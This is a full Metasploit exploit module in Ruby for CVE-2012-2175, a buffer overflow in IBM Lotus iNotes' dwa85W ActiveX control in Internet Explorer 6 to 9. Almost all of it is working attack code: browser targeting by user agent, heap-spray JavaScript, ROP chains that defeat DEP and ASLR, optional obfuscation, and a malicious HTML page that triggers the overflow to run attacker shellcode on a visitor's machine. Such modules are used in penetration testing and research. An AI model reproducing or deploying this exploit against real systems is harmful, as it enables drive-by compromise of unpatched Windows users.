IBM Lotus iNotes dwa85W ActiveX Buffer Overflow

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::HttpServer::HTML  
include Msf::Exploit::RopDb  
include Msf::Exploit::Remote::BrowserAutopwn  
  
autopwn_info({  
:ua_name => HttpClients::IE,  
:ua_minver => "6.0",  
:ua_maxver => "9.0",  
:javascript => true,  
:os_name => OperatingSystems::WINDOWS,  
:rank => Rank,  
:classid => "{0F2AAAE3-7E9E-4b64-AB5D-1CA24C6ACB9C}",  
:method => "Attachment_Times"  
})  
  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "IBM Lotus iNotes dwa85W ActiveX Buffer Overflow",  
'Description' => %q{  
This module exploits a buffer overflow vulnerability on the UploadControl  
ActiveX. The vulnerability exists in the handling of the "Attachment_Times"  
property, due to the insecure usage of the _swscanf. The affected ActiveX is  
provided by the dwa85W.dll installed with the IBM Lotus iNotes ActiveX installer.  
  
This module has been tested successfully on IE6-IE9 on Windows XP, Vista and 7,  
using the dwa85W.dll 85.3.3.0 as installed with Lotus Domino 8.5.3.  
  
In order to bypass ASLR the no aslr compatible module dwabho.dll is used. This one  
is installed with the iNotes ActiveX.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Gaurav Baruah', # Vulnerability discovery  
'juan vazquez' # Metasploit module  
],  
'References' =>  
[  
[ 'CVE', '2012-2175'],  
[ 'OSVDB', '82755' ],  
[ 'BID', '53879' ],  
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-132/' ],  
[ 'URL', 'http://www-304.ibm.com/support/docview.wss?uid=swg21596862' ]  
],  
'Payload' =>  
{  
'Space' => 978,  
'DisableNops' => true,  
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500  
},  
'DefaultOptions' =>  
{  
'InitialAutoRunScript' => 'migrate -f'  
},  
'Platform' => 'win',  
'Targets' =>  
[  
# dwa85W.dll 85.3.3.0  
[ 'Automatic', {} ],  
[ 'IE 6 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5F4', 'Ret' => 0x0c0c0c0c } ],  
[ 'IE 7 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5F4', 'Ret' => 0x0c0c0c0c } ],  
[ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => '0x5f4', 'Ret' => 0x77C34FBF } ], # pop esp # ret # msvcrt.dll  
[ 'IE 7 on Windows Vista', { 'Rop' => nil, 'Offset' => '0x5f4', 'Ret' => 0x0c0c0c0c } ],  
[ 'IE 8 on Windows Vista', { 'Rop' => :notes, 'Offset' => '0x5f4', 'Ret' => 0x1000f765 } ], # pop eax # ret # dwabho.dll  
[ 'IE 8 on Windows 7', { 'Rop' => :notes, 'Offset' => '0x5f4', 'Ret' => 0x1000f765 } ], # pop eax # ret # dwabho.dll  
[ 'IE 9 on Windows 7', { 'Rop' => :notes, 'Offset' => '0x5fe', 'Ret' => 0x1000f765 } ] # pop eax # ret # dwabho.dll  
],  
'Privileged' => false,  
'DisclosureDate' => "Jun 01 2012",  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])  
], self.class)  
  
end  
  
def get_target(agent)  
#If the user is already specified by the user, we'll just use that  
return target if target.name != 'Automatic'  
  
nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''  
ie = agent.scan(/MSIE (\d)/).flatten[0] || ''  
  
ie_name = "IE #{ie}"  
  
case nt  
when '5.1'  
os_name = 'Windows XP SP3'  
when '6.0'  
os_name = 'Windows Vista'  
when '6.1'  
os_name = 'Windows 7'  
end  
  
targets.each do |t|  
if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))  
print_status("Target selected as: #{t.name}")  
return t  
end  
end  
  
return nil  
end  
  
def ie_heap_spray(my_target, p)  
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))  
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))  
js_random_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch))  
  
# Land the payload at 0x0c0c0c0c  
case my_target  
when targets[7]  
# IE 9 on Windows 7  
js = %Q|  
function randomblock(blocksize)  
{  
var theblock = "";  
for (var i = 0; i < blocksize; i++)  
{  
theblock += Math.floor(Math.random()*90)+10;  
}  
return theblock;  
}  
  
function tounescape(block)  
{  
var blocklen = block.length;  
var unescapestr = "";  
for (var i = 0; i < blocklen-1; i=i+4)  
{  
unescapestr += "%u" + block.substring(i,i+4);  
}  
return unescapestr;  
}  
  
var heap_obj = new heapLib.ie(0x10000);  
var code = unescape("#{js_code}");  
var nops = unescape("#{js_random_nops}");  
while (nops.length < 0x80000) nops += nops;  
var offset_length = #{my_target['Offset']};  
for (var i=0; i < 0x1000; i++) {  
var padding = unescape(tounescape(randomblock(0x1000)));  
while (padding.length < 0x1000) padding+= padding;  
var junk_offset = padding.substring(0, offset_length);  
var single_sprayblock = junk_offset + code + nops.substring(0, 0x800 - code.length - junk_offset.length);  
while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock;  
sprayblock = single_sprayblock.substring(0, (0x40000-6)/2);  
heap_obj.alloc(sprayblock);  
}  
|  
  
else  
# For IE 6, 7, 8  
js = %Q|  
var heap_obj = new heapLib.ie(0x20000);  
var code = unescape("#{js_code}");  
var nops = unescape("#{js_nops}");  
while (nops.length < 0x80000) nops += nops;  
var offset = nops.substring(0, #{my_target['Offset']});  
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);  
while (shellcode.length < 0x40000) shellcode += shellcode;  
var block = shellcode.substring(0, (0x80000-6)/2);  
heap_obj.gc();  
for (var i=1; i < 0x300; i++) {  
heap_obj.alloc(block);  
}  
var overflow = nops.substring(0, 10);  
|  
  
end  
  
js = heaplib(js, {:noobfu => true})  
  
if datastore['OBFUSCATE']  
js = ::Rex::Exploitation::JSObfu.new(js)  
js.obfuscate  
end  
  
return js  
end  
  
def get_payload(t, cli)  
code = payload.encoded  
  
# No rop. Just return the payload.  
return code if t['Rop'].nil?  
  
# Both ROP chains generated by mona.py - See corelan.be  
case t['Rop']  
when :msvcrt  
print_status("Using msvcrt ROP")  
rop_payload = generate_rop_payload('msvcrt', code, {'target'=>'xp'})#{'pivot'=>stack_pivot, 'target'=>'xp'})  
else  
print_status("Using dwabho.dll ROP")  
# gadgets from dwabho.dll, using mona.py  
rop_payload = [  
0x1000f765, # POP EAX # RETN  
0x1001a22c, # ptr to &VirtualAlloc() [IAT dwabho.dll]  
0x10010394, # JMP DWORD PTR DS:[EAX]  
0x0c0c0c2c, # ret after VirtualAlloc  
0x0c0c0c2c, # lpAddress  
0x00000400, # dwSize  
0x00001000, # flAllocationType  
0x00000040 # flProtect  
].pack("V*")  
rop_payload << code  
end  
  
return rop_payload  
end  
  
def load_exploit_html(my_target, cli)  
p = get_payload(my_target, cli)  
js = ie_heap_spray(my_target, p)  
  
bof = rand_text_alpha(552) # offset to eip  
bof << [my_target.ret].pack("V")  
  
case my_target['Rop']  
when :msvcrt  
bof << rand_text_alpha(4)  
bof << [0x0c0c0c0c].pack("V") # new ESP  
when :notes  
bof << rand_text_alpha(4)  
bof << [0x0c0c0c00].pack("V") # eax  
bof << [0x1000f49a].pack("V") # pop esp # dec ecx # add byte ptr ds:[eax],al # pop ecx # pop ecx # retn # dwabho.dll  
bof << [0x0c0c0c04].pack("V") # new ESP  
end  
  
my_bof = Rex::Text.to_unescape(bof)  
  
html = %Q|  
<html>  
<head>  
<script>  
#{js}  
</script>  
</head>  
<body>  
<object id="UploadControl" width="100%" height="100%" classid="clsid:0F2AAAE3-7E9E-4b64-AB5D-1CA24C6ACB9C">  
<param name="General_Mode" value="1">  
<param name="General_URL" value="http://#{rand_text_alpha(rand(10) + 5)}">  
</object>  
<script>  
var bof = unescape("#{my_bof}");  
var my_time = "#{rand_text_numeric(2)}/#{rand_text_numeric(2)}/#{rand_text_numeric(4)} #{rand_text_numeric(2)}:#{rand_text_numeric(2)}:#{rand_text_numeric(2)} ";  
my_time += bof;  
my_time += " GMT";  
UploadControl.Attachment_Times = my_time;  
</script>  
</body>  
</html>  
|  
  
return html  
end  
  
def on_request_uri(cli, request)  
agent = request.headers['User-Agent']  
uri = request.uri  
print_status("Requesting: #{uri}")  
  
my_target = get_target(agent)  
# Avoid the attack if no suitable target found  
if my_target.nil?  
print_error("Browser not supported, sending 404: #{agent}")  
send_not_found(cli)  
return  
end  
  
html = load_exploit_html(my_target, cli)  
html = html.gsub(/^\t\t/, '')  
print_status("Sending HTML...")  
send_response(cli, html, {'Content-Type'=>'text/html'})  
end  
  
end`